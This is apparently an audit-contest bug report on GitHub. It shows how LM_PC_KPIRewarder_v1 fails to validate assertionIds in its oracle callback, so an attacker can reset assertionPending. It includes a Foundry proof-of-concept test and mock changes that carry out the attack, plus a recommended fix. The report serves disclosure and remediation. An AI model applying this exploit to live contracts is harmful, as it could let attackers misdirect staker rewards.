Open hats-bug-reporter[bot] opened 3 months ago
To add to this.
The attacker can pull this off even easier.
Inside disputeAssertion
there is this check:
// Send resolve callback if dispute resolution is discarded
if (assertion.escalationManagerSettings.discardOracle) _callbackOnAssertionResolve(assertionId, false);
An attacker can create an assertion, set discardOracle = true
then instantly disputeAssertion
in order to call the assertionResolvedCallback
on LM_PC_KPIRewarder_v1
and thus reset assertionPending
.
A PoC on this would be helpful, thanks in advance.
@PlamenTSV
Some parts of the OOv3 logic that doesn't concern the attack is dumbed down in order to simplify the test.
Inside OptimisticOracleV3Mock.sol
change settleAssertion
to:
function settleAssertion(bytes32 assertionId) public {
Assertion storage assertion = assertions[assertionId];
require(assertion.asserter != address(0), "Assertion does not exist"); // Revert if assertion does not exist.
require(!assertion.settled, "Assertion already settled"); // Revert if assertion already settled.
assertion.settled = true;
if (assertion.disputer == address(0)) {
// No dispute, settle with the asserter
require(
assertion.expirationTime <= getCurrentTime(),
"Assertion not expired"
); // Revert if not expired.
assertion.settlementResolution = true;
assertion.currency.safeTransfer(assertion.asserter, assertion.bond);
_callbackOnAssertionResolve(assertionId, true);
emit AssertionSettled(
assertionId, assertion.asserter, false, true, msg.sender
);
} else {
// Just make the callback to simplify the test
_callbackOnAssertionResolve(assertionId, false);
}
}
Only _callbackOnAssertionResolve
is added to the else
.
Add disputeAssertion
in the same file:
// Simplified disputeAssertion to make the test simpler
function disputeAssertion(bytes32 assertionId, address disputer) external {
require(disputer != address(0), "Disputer can't be 0");
Assertion storage assertion = assertions[assertionId];
assertion.disputer = disputer;
assertion.currency.safeTransferFrom(msg.sender, address(this), assertion.bond);
}
Add the following two functions to LM_PC_KPIRewarder_v1.t.sol
:
function setUpStateForSettingKPIRewarderAsCallback()
public
returns (bytes32)
{
address attacker = address(123);
feeToken.mint(attacker, ooV3.getMinimumBond(address(feeToken)) * 2);
vm.prank(attacker);
feeToken.approve(
address(ooV3), type(uint256).max
);
vm.startPrank(attacker);
bytes32 assertionId = ooV3.assertTruth(
abi.encode("ATTACK"),
attacker,
address(kpiManager),
address(0),
1 days,
feeToken,
ooV3.getMinimumBond(address(feeToken)),
"ASSERT_TRUTH",
""
);
ooV3.disputeAssertion(assertionId, attacker);
vm.stopPrank();
return (assertionId);
}
function test_AttackerSetsKpiRewarderAsCallback(
address[] memory users,
uint[] memory amounts
) public {
uint assertedIntermediateValue = 250;
// it should emit an event
bytes32 createdID;
uint totalStakedFunds;
(createdID, users, amounts, totalStakedFunds) =
setUpStateForAssertionResolution(
users, amounts, assertedIntermediateValue, true
);
// Create the attackers assertion and dispute it
bytes32 attackerAssertionId =
setUpStateForSettingKPIRewarderAsCallback();
// The real assertion is still not settled, so `assertionPending = true`
assertEq(kpiManager.assertionPending(), true);
// Settle the attackers assertion
vm.prank(address(123));
ooV3.settleAssertion(attackerAssertionId);
// `assertionPending = false`, because the KPIRewarder was set as the callback of the attackers assertion
assertEq(kpiManager.assertionPending(), false);
}
Run the test with forge test --mt test_AttackerSetsKpiRewarderAsCallback -vvvv
@PlamenTSV @0xmahdirostami
Can you guys please add a label on this, so the sponsor doesn't miss it?
Thanks.
Github username: -- Twitter username: @EgisSec Submission hash (on-chain): 0xd4cfef8c5c2062bdf82d352cef245fa5fd0c49e0532838c0ef40d57dba1ca425 Severity: medium
Description: Description\
assertionResolvedCallback
is a necessary function that the contract implements in order to integrate correctly with OOv3.You'll notice the last line,
assertionPending = false
and the comment above it.assertionPending
was added in response to this issue from the previous report. You can see that the recommendation is to not allow for more than 1 active assertion at a time, otherwise queued stakers can receive rewards for pending assertions. You can read the linked issue to get a better understanding, as the end result of this attack will be the same.The issue here is that
assertionResolvedCallback
never checks ifassertionId
exists, meaningassertionId
can be anything, which allows for anyone to use the address ofLM_PC_KPIRewarder_v1
as thecallbackRecipient
of another assertion that wasn't created byLM_PC_KPIReawrder_v1
.In the bellow section I'll explain how this will work.
Attack Scenario\ I'll be quoting several functions from OOv3, which can be found here
createKPI
, usersstake
and someone callspostAssertion
. At this pointassertionPending = true
, which means no more assertions can be created from the contract, as ifpostAssertion
is called it will fail on this line:callbackRecipient
to the address ofLM_PC_KPIRewarder_v1
and setsescalationManagerSettings.discardOracle = false
so when he settles the assertion,_callbackOnAssertionResolve
will be called.disputeAssertion
on his own assertion and then callssettleAssertion
when he knows thatsettlementResolution = false
, meaning that the assertion wasn't asserted truthfuly._callbackOnAssertionResolve
is called, which will callassertionResolvedCallback
on theLM_PC_KPIRewarder_v1
.assertionResolvedCallback
is called with anassertionId
that doesn't exist for theLM_PC_KPIRewarder_v1
, but that's never checked. AlsoassertedTruthfully = false
, so we enter the else statement:assertionConfig
and won't revert.assertionPending = false
.At this point another real assertion can be created with
postAssertion
, which will be a problem when the first one gets resolved as explained in the issue mentioned aboveAttachments
Proof of Concept (PoC) File
Revised Code File (Optional)
Check that
assertionId
actually exists and then continue resolving the assertion.